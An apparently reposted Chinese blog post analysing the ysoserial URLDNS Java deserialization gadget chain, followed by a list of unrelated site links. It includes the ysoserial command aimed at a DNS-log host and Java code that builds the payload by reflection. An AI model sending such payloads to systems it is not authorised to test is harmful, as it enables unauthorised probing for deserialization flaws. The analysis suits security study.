URLDNS链分析
前言
URLDNS链算是反序列化利用链中比较简单的了,这条链的主要作用就是用于判断是否存在Java反序列化漏洞。因为没有jdk版本限制,并且只依赖原生类,所以在测试过程中用的还是很多的,本篇记录分析一下这条链。
0x01 URLDNS链使用
这里为了方便调试,直接把ysoserial项目导入idea中。
首先生成payload,可以直接利用编译好的jar包:
java -jar ysoserial-0.0.5.jar URLDNS "https://30walr.wssjnv.cdns.me/" > urldns.txt
也可以在IDEA中通过Configurations设置参数之后,再run生成:
之后反序列化测试:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNS_test {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("urldns.txt");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
0x02 URLDNS链分析
下面来过一下这个链执行的流程,在URLDNS中作者已经给出了这个利用链:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
在yso生成payload过程中,首先是GeneratePayload.java,将参数分别赋值给变量payloadType和commands,然后通过getPayloadClass方法实例化对象,将payloadType参数传入
然后add添加之后,调用新实例化对象的getObject方法
后面调试跳到了URLDNS.java,且实现了ObjectPayload接口,里面也确实有getObject方法:
下面着重看一下URLDNS.java,里面核心的就是:
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url[0], handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
首先第一步先实例化了一个handler,这个类继承了URLStreamHandler,并重写openConnection和getHostAddress方法返回空,这个具体的作用下面再进行分析。
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
之后创建hashMap、URL对象,然后将URL对象,也就是DnsLog的地址put进hashmap
然后重置hashCode的值为-1,再返回。所以我们可以看出:最终的payload结构是 一个HashMap
,里面包含了 一个修改了HashCode
为-1的URL
类。
而我们的测试poc,也正是hashmap的readobject开始的。
这里继续通过yso调试分析:
我们跟到hashmap的put方法中,里面的putval方法是往HashMap中放入键值对的方法,在放之前对key计算了hash,继续跟到hash方法中
传入的key是一个url对象,不同对象的hash计算方法是在各自的类中实现的,这里key.hashCode()
调用URL类中的hashCode方法:java.net.URL#hashCode
然后hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算;还有需要注意的这个接口中:
transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型,它不会被反序列化
private int hashCode = -1;//hashCode是private类型,需要手动开放控制权才可以修改。
然后到URLStreamHandler的hashCode中:首先getProtocol()获取协议,计算hash,然后getHostAddress获取传入的ip地址,这里需要注意也是最关键的一句是,getHostAddress方法下一步进入的就是我们开头看到的重写的方法:
如果是正常的反序列化流程,那么会执行他原本的getHostAddress方法,再去执行getByName触发解析。
也就是yso作者通过重写getHostAddress方法,巧妙的避免了在payload生成中触发dnslog请求。
而另外一个重写的openConnection方法是实现类必须实现父类的所有抽象方法。
最后再将返回的payload输出出来
0x03总结
我使用的jdk为1.8:
1. HashMap.readObject()
2. HashMap.putVal()
3. HashMap.hash()
4. URL.hashCode()
5. URLStreamHandler.hashCode()
6. URLStreamHandler.getHostAddress()
7. InetAddress.getByName()
看到其他的博客说1.7会略有不同,但大同小异(未测试):
1.HashMap.readObject()
2.HashMap.putForCreate()
3.HashMap.hash()
4.URL.hashCode()
之后相同
回过头来看payload的生成,如果不用yso,自己本地也可以生成:
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://xxx.ceye.io");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询
f.set(url, -1);
}
上面的方式是先将url的hashCode设置不为-1,从而跳过URL.hashCode(),也就不会去getHostAddress,最后设置回-2也就是为了确保目标会去执行,和yso最后的Reflections.setFieldValue(u, "hashCode", -1);
是一样的。
参考
https://johnfrod.top/安全/urldns利用链分析/
https://www.cnblogs.com/v1ntlyn/p/13549991.html
https://www.cnblogs.com/CoLo/p/15211200.html
https://guokeya.github.io/post/ZcF1VXwaH/
原文地址:https://www.cnblogs.com/N0r4h/p/15840776.html
- SQL Server常用命令(平时不用别忘了)
- Spark详解06容错机制Cache 和 Checkpoint Cache 和 Checkpoint
- SQL Server 学习笔记
- Collaborative Filtering(协同过滤)算法详解
- 【Hadoop】三句话告诉你 mapreduce 中MAP进程的数量怎么控制?
- Spark系列课程-00xxSpark RDD持久化
- RDD持久化
- P02_Hadoop CDH 5.3.6集群搭建
- P01_Spark开发测试运行环境安装Spark开发测试运行环境安装
- spark2.x依赖包POM
- P03_Hive 安装
- P06_flume-ng-1.5.0-cdh5.3.6安装
- P04_zookeeper-cdh5集群搭建
- P05_kafka_2.9.2-0.8.1集群搭建
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 文件上传之Html5 + jQuery上传、asp.net web api接收
- Struts2自定义结果视图(servlet验证码)
- jQuery Ajax传递数组到asp.net web api参数为空
- asp.net web api集成微信服务(使用Senparc微信SDK)
- asp.net web api添加统一异常处理
- .NET HttpClient扩展
- md5和base64加密解密
- asp.net web api添加自定义认证
- 代理模式实例
- FastDFS.Client操作文件服务器
- Oracle触发器实现监控某表的CRUD操作
- asp.net web api返回图片至前端
- sql模糊匹配中%、_的处理
- Dapper关联查询
- Vue2.0 + Element-UI + WebAPI实践:简易个人记账系统